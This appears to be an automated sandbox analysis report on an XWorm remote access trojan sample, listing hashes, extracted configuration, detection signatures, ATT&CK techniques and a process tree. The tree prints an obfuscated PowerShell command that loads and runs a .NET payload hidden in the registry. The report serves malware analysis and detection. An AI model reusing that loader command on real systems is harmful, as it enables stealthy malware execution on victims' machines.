xworm | 75636b480a5d5c94fde4c189286ea07a3c12194de8ee8bb18cd462d3ae019f2b

Analysis

max time kernel
150s
max time network
127s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
31/10/2024, 08:59

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General

Target

2HAX8_DeadPayload.exe
Size

500KB
MD5

b315d6de4d0834723914982447aab54f
SHA1

f1b3b51e74e1f24faecf0524e7bbffe54feffe2e
SHA256

75636b480a5d5c94fde4c189286ea07a3c12194de8ee8bb18cd462d3ae019f2b
SHA512

b9afa7e84d33513e2255b24842847a9c25fc041b0d8e361836b4c2fd3787fba5b9a06c7633f1bb9b61ca56c650ddccd992a533b64f71105b6c36b69c648382ee
SSDEEP

12288:s3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sdzO:mkGTy

Score

10^/10

xworm discovery evasion execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

QgVg78qW15uIsQ4H

Attributes

Install_directory
%Public%
install_file
ohh.exe
pastebin_url
https://pastebin.com/raw/J09JweeH

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0012000000016d3f-6.dat	family_xworm
behavioral1/memory/2840-8-0x0000000001120000-0x000000000112E000-memory.dmp	family_xworm

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2756 created 420	2756	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 2 IoCs

pid	Process
2840	DeadMan.exe
2804	DeadRoot.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2756	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2756 set thread context of 1928	2756	powershell.EXE	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadRoot.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9069d447732bdb01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2756	powershell.EXE
2756	powershell.EXE
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe
1928	dllhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	DeadMan.exe
Token: SeDebugPrivilege	2756	powershell.EXE
Token: SeDebugPrivilege	2756	powershell.EXE
Token: SeDebugPrivilege	1928	dllhost.exe
Token: SeAuditPrivilege	860	svchost.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 2840	2860	2HAX8_DeadPayload.exe	31
PID 2860 wrote to memory of 2840	2860	2HAX8_DeadPayload.exe	31
PID 2860 wrote to memory of 2840	2860	2HAX8_DeadPayload.exe	31
PID 2860 wrote to memory of 2804	2860	2HAX8_DeadPayload.exe	32
PID 2860 wrote to memory of 2804	2860	2HAX8_DeadPayload.exe	32
PID 2860 wrote to memory of 2804	2860	2HAX8_DeadPayload.exe	32
PID 2860 wrote to memory of 2804	2860	2HAX8_DeadPayload.exe	32
PID 2648 wrote to memory of 2756	2648	taskeng.exe	34
PID 2648 wrote to memory of 2756	2648	taskeng.exe	34
PID 2648 wrote to memory of 2756	2648	taskeng.exe	34
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 2756 wrote to memory of 1928	2756	powershell.EXE	36
PID 1928 wrote to memory of 420	1928	dllhost.exe	5
PID 1928 wrote to memory of 464	1928	dllhost.exe	6
PID 1928 wrote to memory of 480	1928	dllhost.exe	7
PID 1928 wrote to memory of 488	1928	dllhost.exe	8
PID 1928 wrote to memory of 596	1928	dllhost.exe	9
PID 1928 wrote to memory of 672	1928	dllhost.exe	10
PID 1928 wrote to memory of 752	1928	dllhost.exe	11
PID 1928 wrote to memory of 816	1928	dllhost.exe	12
PID 1928 wrote to memory of 860	1928	dllhost.exe	13
PID 1928 wrote to memory of 1000	1928	dllhost.exe	15
PID 1928 wrote to memory of 300	1928	dllhost.exe	16
PID 1928 wrote to memory of 272	1928	dllhost.exe	17
PID 1928 wrote to memory of 1040	1928	dllhost.exe	18
PID 1928 wrote to memory of 1220	1928	dllhost.exe	19
PID 1928 wrote to memory of 1308	1928	dllhost.exe	20
PID 1928 wrote to memory of 1352	1928	dllhost.exe	21
PID 1928 wrote to memory of 1500	1928	dllhost.exe	23
PID 1928 wrote to memory of 1692	1928	dllhost.exe	24
PID 1928 wrote to memory of 796	1928	dllhost.exe	25
PID 1928 wrote to memory of 1916	1928	dllhost.exe	26
PID 1928 wrote to memory of 668	1928	dllhost.exe	27
PID 1928 wrote to memory of 2648	1928	dllhost.exe	33
PID 1928 wrote to memory of 2756	1928	dllhost.exe	34
PID 1928 wrote to memory of 2144	1928	dllhost.exe	35

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0efa0dc4-e9f0-4b1b-b204-893c38208aa1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1928

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:464
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:596
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1692
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:796
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:672
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:752
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:816
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1308
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {D4668F3E-99B5-4463-99FD-2C97CA00263F} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](68)+'e'+[Char](97)+''+[Char](100)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2756
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:1000
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:300
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:272
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1040
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1220
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1500
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1916
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:668

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:480

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:488

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1352
- C:\Users\Admin\AppData\Local\Temp\2HAX8_DeadPayload.exe
  "C:\Users\Admin\AppData\Local\Temp\2HAX8_DeadPayload.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Users\Public\DeadMan.exe
    "C:\Users\Public\DeadMan.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2840
- - C:\Users\Public\DeadRoot.exe
    "C:\Users\Public\DeadRoot.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2804

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "15690388731834236358-983697056-20795912691860625003-1934699749-1464440155-1911295987"
1⤵
PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\DeadMan.exe

Filesize
34KB

MD5
86596f8f255ec89d279b0824435e99ad

SHA1
828d881cd4e693004ef8285aec99ef741b7f12ea

SHA256
be04723ba31eb34aafe705d2ae69a8b76cd717f3d378c49eee960a86112b7a58

SHA512
ed8429cf751326a5b646e35c59c61b2b3a0fdd7179f6a9a33e0bc70526dd96a72e02c2456d480cb26a8c0cd5f641842a73073bd2dc246d038d3642cec14f4672

Download Submit
C:\Users\Public\DeadRoot.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
memory/420-34-0x0000000000980000-0x00000000009A7000-memory.dmp

Filesize
156KB

Download
memory/420-32-0x0000000000830000-0x0000000000852000-memory.dmp

Filesize
136KB

Download
memory/420-33-0x0000000000980000-0x00000000009A7000-memory.dmp

Filesize
156KB

Download
memory/420-30-0x0000000000830000-0x0000000000852000-memory.dmp

Filesize
136KB

Download
memory/420-40-0x0000000000980000-0x00000000009A7000-memory.dmp

Filesize
156KB

Download
memory/420-41-0x000007FEBEF30000-0x000007FEBEF40000-memory.dmp

Filesize
64KB

Download
memory/420-42-0x0000000037C10000-0x0000000037C20000-memory.dmp

Filesize
64KB

Download
memory/464-56-0x0000000037C10000-0x0000000037C20000-memory.dmp

Filesize
64KB

Download
memory/464-48-0x0000000000230000-0x0000000000257000-memory.dmp

Filesize
156KB

Download
memory/464-54-0x0000000000230000-0x0000000000257000-memory.dmp

Filesize
156KB

Download
memory/464-55-0x000007FEBEF30000-0x000007FEBEF40000-memory.dmp

Filesize
64KB

Download
memory/480-62-0x00000000009D0000-0x00000000009F7000-memory.dmp

Filesize
156KB

Download
memory/480-70-0x0000000037C10000-0x0000000037C20000-memory.dmp

Filesize
64KB

Download
memory/480-69-0x000007FEBEF30000-0x000007FEBEF40000-memory.dmp

Filesize
64KB

Download
memory/480-68-0x00000000009D0000-0x00000000009F7000-memory.dmp

Filesize
156KB

Download
memory/596-79-0x0000000000730000-0x0000000000757000-memory.dmp

Filesize
156KB

Download
memory/1928-27-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1928-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1928-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1928-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1928-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1928-25-0x0000000077BD0000-0x0000000077D79000-memory.dmp

Filesize
1.7MB

Download
memory/1928-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1928-26-0x00000000779B0000-0x0000000077ACF000-memory.dmp

Filesize
1.1MB

Download
memory/2756-16-0x0000000001010000-0x0000000001038000-memory.dmp

Filesize
160KB

Download
memory/2756-14-0x0000000019B40000-0x0000000019E22000-memory.dmp

Filesize
2.9MB

Download
memory/2756-15-0x00000000009B0000-0x00000000009B8000-memory.dmp

Filesize
32KB

Download
memory/2756-18-0x00000000779B0000-0x0000000077ACF000-memory.dmp

Filesize
1.1MB

Download
memory/2756-17-0x0000000077BD0000-0x0000000077D79000-memory.dmp

Filesize
1.7MB

Download
memory/2840-9-0x000007FEF5A50000-0x000007FEF643C000-memory.dmp

Filesize
9.9MB

Download
memory/2840-8-0x0000000001120000-0x000000000112E000-memory.dmp

Filesize
56KB

Download
memory/2840-188-0x000007FEF5A50000-0x000007FEF643C000-memory.dmp

Filesize
9.9MB

Download
memory/2860-1-0x0000000000870000-0x00000000008F4000-memory.dmp

Filesize
528KB

Download
memory/2860-0-0x000007FEF5A53000-0x000007FEF5A54000-memory.dmp

Filesize
4KB

Download